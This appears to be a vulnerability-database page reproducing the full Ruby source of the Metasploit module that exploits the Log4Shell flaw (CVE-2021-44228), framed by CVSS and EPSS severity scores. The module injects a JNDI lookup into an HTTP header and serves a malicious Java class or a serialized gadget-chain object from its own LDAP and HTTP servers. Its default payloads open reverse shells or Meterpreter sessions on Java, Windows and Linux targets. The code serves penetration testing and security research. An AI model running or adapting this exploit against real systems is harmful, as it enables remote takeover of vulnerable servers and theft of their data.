10 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
0.976 High
EPSS
Percentile
100.0%
Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration, log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints. This module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit and load a payload. The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP server in addition to the LDAP server that the target can connect to. The targeted application must have the trusted code base option enabled for this technique to work. The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Log4Shell
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::CheckModule
prepend Msf::Exploit::Remote::AutoCheck
def initialize(_info = {})
super(
'Name' => 'Log4Shell HTTP Header Injection',
'Description' => %q{
Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration,
log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints.
This module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that
will trigger an LDAP connection to Metasploit and load a payload.
The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP
server in addition to the LDAP server that the target can connect to. The targeted application must have the
trusted code base option enabled for this technique to work.
The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to
run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target
application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option.
},
'Author' => [
'Michael Schierl', # Technical guidance, examples, and patience - all of the Jedi stuff
'juan vazquez', # 2011-3544 building blocks reused in this module
'sinn3r', # 2011-3544 building blocks reused in this module
'Spencer McIntyre', # Kickoff on 2021-44228 work, improvements, and polish required for formal acceptance
'RageLtMan <rageltman[at]sempervictus>' # Metasploit module and infrastructure
],
'References' => [
[ 'CVE', '2021-44228' ],
],
'DisclosureDate' => '2021-12-09',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'SRVPORT' => 389,
'WfsDelay' => 30,
'CheckModule' => 'auxiliary/scanner/http/log4shell_scanner'
},
'Targets' => [
[
'Automatic', {
'Platform' => 'java',
'Arch' => [ARCH_JAVA],
'RemoteLoad' => true,
'DefaultOptions' => {
'PAYLOAD' => 'java/shell_reverse_tcp'
}
}
],
[
'Windows', {
'Platform' => 'win',
'RemoteLoad' => false,
'DefaultOptions' => {
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
}
},
],
[
'Linux', {
'Platform' => 'unix',
'RemoteLoad' => false,
'Arch' => [ARCH_CMD],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
},
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'AKA' => ['Log4Shell', 'LogJam'],
'Reliability' => [REPEATABLE_SESSION],
'RelatedModules' => [ 'auxiliary/scanner/http/log4shell_scanner' ]
}
)
register_options([
OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),
OptString.new('TARGETURI', [ true, 'The URI to scan', '/']),
OptString.new('HTTP_HEADER', [ false, 'The HTTP header to inject into' ]),
OptEnum.new('JAVA_GADGET_CHAIN', [
true, 'The Java gadget chain to use for deserialization', 'CommonsBeanutils1',
Msf::Exploit::JavaDeserialization.gadget_chains
], conditions: %w[TARGET != Automatic]),
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic])
])
register_advanced_options([
OptPort.new('HttpListenerBindPort', [false, 'The port to bind to if different from HTTP_SRVPORT'])
])
end
def check
validate_configuration!
@checkcode = super
end
def check_options
opts = { 'LDAP_TIMEOUT' => datastore['WfsDelay'], 'URIS_FILE' => nil }
opts['HEADERS_FILE'] = nil unless datastore['HTTP_HEADER'].blank?
opts
end
def resource_url_string
"http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}"
end
#
# Use Ruby Java bridge to create a Java-natively-serialized object
#
# @return [String] Marshalled serialized byteArray of the loader class
def byte_array_payload(pay_class = 'metasploit.PayloadFactory')
jar = generate_payload.encoded_jar
serialized_class_from_jar(jar, pay_class)
end
#
# Insert PayloadFactory in Java payload JAR
#
# @param jar [Rex::Zip::Jar] payload JAR to update
# @return [Rex::Zip::Jar] updated payload JAR
def inject_jar_payload_factory(jar = generate_payload.encoded_jar)
# From exploits/multi/browser/java_rhino - should probably go to lib
paths = [
[ 'metasploit/PayloadFactory.class' ]
]
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0, idx].join('/') + '/'
jar.add_file(full, '') unless jar.entries.map(&:name).include?(full)
end
File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', path), 'rb') do |fd|
data = fd.read(fd.stat.size)
jar.add_file(path.join('/'), data)
end
end
jar
end
def build_ldap_search_response_payload
if target['RemoteLoad']
build_ldap_search_response_payload_remote(resource_url_string)
else
build_ldap_search_response_payload_inline(datastore['JAVA_GADGET_CHAIN'])
end
end
## HTTP service callbacks
#
# Handle HTTP requests and responses
#
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
vprint_good("Payload requested by #{cli.peerhost} using #{agent}")
pay = regenerate_payload(cli)
jar = inject_jar_payload_factory(pay.encoded_jar)
send_response(cli, 200, 'OK', jar)
end
#
# Create an HTTP response and then send it
#
def send_response(cli, code, message = 'OK', html = '')
proto = Rex::Proto::Http::DefaultProtocol
res = Rex::Proto::Http::Response.new(code, message, proto)
res['Content-Type'] = 'application/java-archive'
res.body = html
cli.send_response(res)
end
def exploit
validate_configuration!
if datastore['HTTP_HEADER'].blank?
targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers].blank? }.first
http_header = targetinfo[:headers].keys.first if targetinfo
fail_with(Failure::BadConfig, 'No HTTP_HEADER was specified and none were found automatically') unless http_header
print_good("Automatically identified vulnerable header: #{http_header}")
else
http_header = datastore['HTTP_HEADER']
end
# LDAP service
start_service
# HTTP service
if target['RemoteLoad']
start_http_service('ServerPort' => (datastore['HttpListenerBindPort'].blank? ? datastore['HTTP_SRVPORT'] : datastore['HttpListenerBindPort']).to_i)
end
# HTTP request initiator
send_request_raw(
'uri' => normalize_uri(target_uri),
'method' => datastore['HTTP_METHOD'],
'headers' => { http_header => log4j_jndi_string }
)
sleep(datastore['WfsDelay'])
handler
ensure
cleanup
end
#
# Kill HTTP & LDAP services (shut them down and clear resources)
#
def cleanup
# Clean and stop HTTP server
if @http_service
begin
@http_service.remove_resource(datastore['URIPATH'])
@http_service.deref
@http_service.stop
@http_service = nil
rescue StandardError => e
print_error("Failed to stop http server due to #{e}")
end
end
super
end
def validate_configuration!
super
if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']
fail_with(Exploit::Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')
end
end
private
# Boilerplate HTTP service code
#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
path = datastore['URIPATH'] || rand_text_alphanumeric(rand(8..15)) + '.jar'
path = '/' + path if path !~ %r{^/}
if path !~ /\.jar$/
print_status("Appending .jar extension to #{path} as we don't yet serve classpaths")
path += '.jar'
end
datastore['URIPATH'] = path
return path
end
#
# Handle the HTTP request and return a response. Code borrowed from:
# msf/core/exploit/http/server.rb
#
def start_http_service(opts = {})
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
(opts['ServerPort'] || bindport).to_i,
opts['ServerHost'] || bindhost,
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self
},
opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost),
datastore['SSLCert'],
datastore['SSLCompression'],
datastore['SSLCipher'],
datastore['SSLVersion']
)
@http_service.server_name = datastore['HTTP::server_name']
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => method(:on_request_uri),
'Path' => resource_uri
}.update(opts['Uri'] || {})
proto = (datastore['SSL'] ? 'https' : 'http')
netloc = opts['ServerHost'] || bindhost
http_srvport = (opts['ServerPort'] || bindport).to_i
if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443)
if Rex::Socket.is_ipv6?(netloc)
netloc = "[#{netloc}]:#{http_srvport}"
else
netloc = "#{netloc}:#{http_srvport}"
end
end
print_status("Serving Java code on: #{proto}://#{netloc}#{uopts['Path']}")
# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
end
end
10 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
0.976 High
EPSS
Percentile
100.0%